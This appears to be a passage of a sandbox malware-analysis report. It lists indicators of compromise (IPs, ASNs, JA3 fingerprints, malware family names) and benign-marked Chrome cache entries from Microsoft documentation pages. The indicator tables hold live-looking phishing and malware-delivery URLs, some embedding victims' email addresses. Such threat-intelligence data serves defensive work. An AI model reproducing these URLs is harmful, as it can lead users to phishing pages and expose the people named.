	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	http://sharefileonline.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
occupy-blushi.sbs	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.187.240
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	file.exe	Get hash	malicious	LummaC Stealer	Browse	193.143.1.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	X4S15uEwg5.bat	Get hash	malicious	Unknown	Browse	104.21.81.137
	JDHh9P2IVM.bat	Get hash	malicious	Unknown	Browse	104.21.81.137
	wzvdwjAw2x.bat	Get hash	malicious	Unknown	Browse	172.67.189.157
	document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	104.21.81.137
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://clickme.thryv.com/ls/click?upn=u001.dxrPihnXBHUGsddmpkmwUOT9H2uuoftUJgS1ImyDp5PjZ7uor3Bx5LY8846lufrxOd-2B-2FCl5NSKC1v9uXskdIrA-3D-3DPV4X_Uxfyb-2FV90WCSGuHCd77YDe2QH-2FfxD2e5Op8ULStuWwSYUM08QLuqWk0rbdQO8p2GP5XR1Nwn9dFZi5DaOMyz92mdTvaHywQzrJIxcHTOEjrrUNll1a6cdLHKylkZo7LdScnRC-2F7iC6hnMEdduqsWXASxbd-2BZeaoWZvCDaIudlukgt9S3uZsKQeBP86XSjGCyt8CMjRvxL6j1Dyr0eym46qao7knFO6iIo9LZAeoxbyu5E6pzhyc9-2F2VP-2BlZM3Ea-2B-2FiBNpyPNxcoMEQ2om5Ig-2F7RZ8WTAt-2F5MxtsslPlJve5tzpsISP74pi-2B8USUpl-2BAaEmzHGUoeKWRMyxJH35FiSw-3D-3D	Get hash	malicious	Unknown	Browse	104.21.55.245
	Encrypt DOC2024.11.19.1983928 shared with you! (203 KB).msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	Compilazione di video e immagini protetti da copyright.bat	Get hash	malicious	Unknown	Browse	104.21.81.137
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	xeno.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.63
	Encrypt DOC2024.11.19.1983928 shared with you! (203 KB).msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	52.109.76.240
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	20.50.80.214
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	51.116.253.170
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	http://zoominfohub.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	Invoice-99007553423-protected.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	https://clickme.thryv.com/ls/click?upn=u001.dxrPihnXBHUGsddmpkmwUOT9H2uuoftUJgS1ImyDp5PjZ7uor3Bx5LY8846lufrxOd-2B-2FCl5NSKC1v9uXskdIrA-3D-3DPV4X_Uxfyb-2FV90WCSGuHCd77YDe2QH-2FfxD2e5Op8ULStuWwSYUM08QLuqWk0rbdQO8p2GP5XR1Nwn9dFZi5DaOMyz92mdTvaHywQzrJIxcHTOEjrrUNll1a6cdLHKylkZo7LdScnRC-2F7iC6hnMEdduqsWXASxbd-2BZeaoWZvCDaIudlukgt9S3uZsKQeBP86XSjGCyt8CMjRvxL6j1Dyr0eym46qao7knFO6iIo9LZAeoxbyu5E6pzhyc9-2F2VP-2BlZM3Ea-2B-2FiBNpyPNxcoMEQ2om5Ig-2F7RZ8WTAt-2F5MxtsslPlJve5tzpsISP74pi-2B8USUpl-2BAaEmzHGUoeKWRMyxJH35FiSw-3D-3D	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	https://app.smartsheet.com/b/form/40653cfc74264be5801922c41bc80ae9	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	https://eastmancuts.jimdosite.com/	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	https://www.google.com/url?q=https://clickme.thryv.com/ls/click?upn%3Du001.3HlspJ5fg-2BP4CQkV7GSVhvWTpgC6w0k7sA8b2Z9JBYU9BEMXtqHWLHW9PPcpforJszQ3_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQiOVUz527Ewi1t813S-2FHejAJLe09fD2VqgM8mtwuQZA9i83VLkCPF4iItCSPXKUpNgWQKWxjEO6jlBp5GYVLghrpKcDuea5GONmLMVlbh4fQe7dtjhTFxxxExxfN1kv5tnx1PPl9DjYIyE468wz1qa1Z-2FWJgZrJbIFEpqhd4o5tGGyUoiPcIot5l2j9dpjy7QKj99ZiCz-2BBLi5dHUIl8gC4RxZBl-2FMaH4IZlQyWpqM-2BtZ9uE3ezFUl2fORMwAp4lQk-3D%23Cjanetrosenbach@imageindustries.com&source=gmail-imap&ust=1733149343000000&usg=AOvVaw1uIAp-JnZbTlkY9Td9ZLJj	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 2.18.109.164
	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164
3b5074b1b5d032e5620f69f9f700ff0e	xeno.bat	Get hash	malicious	Unknown	Browse	20.198.119.143
	X4S15uEwg5.bat	Get hash	malicious	Unknown	Browse	20.198.119.143
	JDHh9P2IVM.bat	Get hash	malicious	Unknown	Browse	20.198.119.143
	wzvdwjAw2x.bat	Get hash	malicious	Unknown	Browse	20.198.119.143
	Compilazione di video e immagini protetti da copyright.bat	Get hash	malicious	Unknown	Browse	20.198.119.143
	https://eastmancuts.jimdosite.com/	Get hash	malicious	Unknown	Browse	20.198.119.143
	https://www.google.com/url?q=https://clickme.thryv.com/ls/click?upn%3Du001.3HlspJ5fg-2BP4CQkV7GSVhvWTpgC6w0k7sA8b2Z9JBYU9BEMXtqHWLHW9PPcpforJszQ3_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQiOVUz527Ewi1t813S-2FHejAJLe09fD2VqgM8mtwuQZA9i83VLkCPF4iItCSPXKUpNgWQKWxjEO6jlBp5GYVLghrpKcDuea5GONmLMVlbh4fQe7dtjhTFxxxExxfN1kv5tnx1PPl9DjYIyE468wz1qa1Z-2FWJgZrJbIFEpqhd4o5tGGyUoiPcIot5l2j9dpjy7QKj99ZiCz-2BBLi5dHUIl8gC4RxZBl-2FMaH4IZlQyWpqM-2BtZ9uE3ezFUl2fORMwAp4lQk-3D%23Cjanetrosenbach@imageindustries.com&source=gmail-imap&ust=1733149343000000&usg=AOvVaw1uIAp-JnZbTlkY9Td9ZLJj	Get hash	malicious	HTMLPhisher	Browse	20.198.119.143
	RICHIESTA D'OFFERTA.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	20.198.119.143
	Rooming list.js	Get hash	malicious	Remcos	Browse	20.198.119.143
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.7.169
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	pJKrbGSI.ps1	Get hash	malicious	LummaC	Browse	104.21.7.169
	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	104.21.7.169
	AnuhIsNqBl.exe	Get hash	malicious	LummaC	Browse	104.21.7.169
	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	104.21.7.169

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

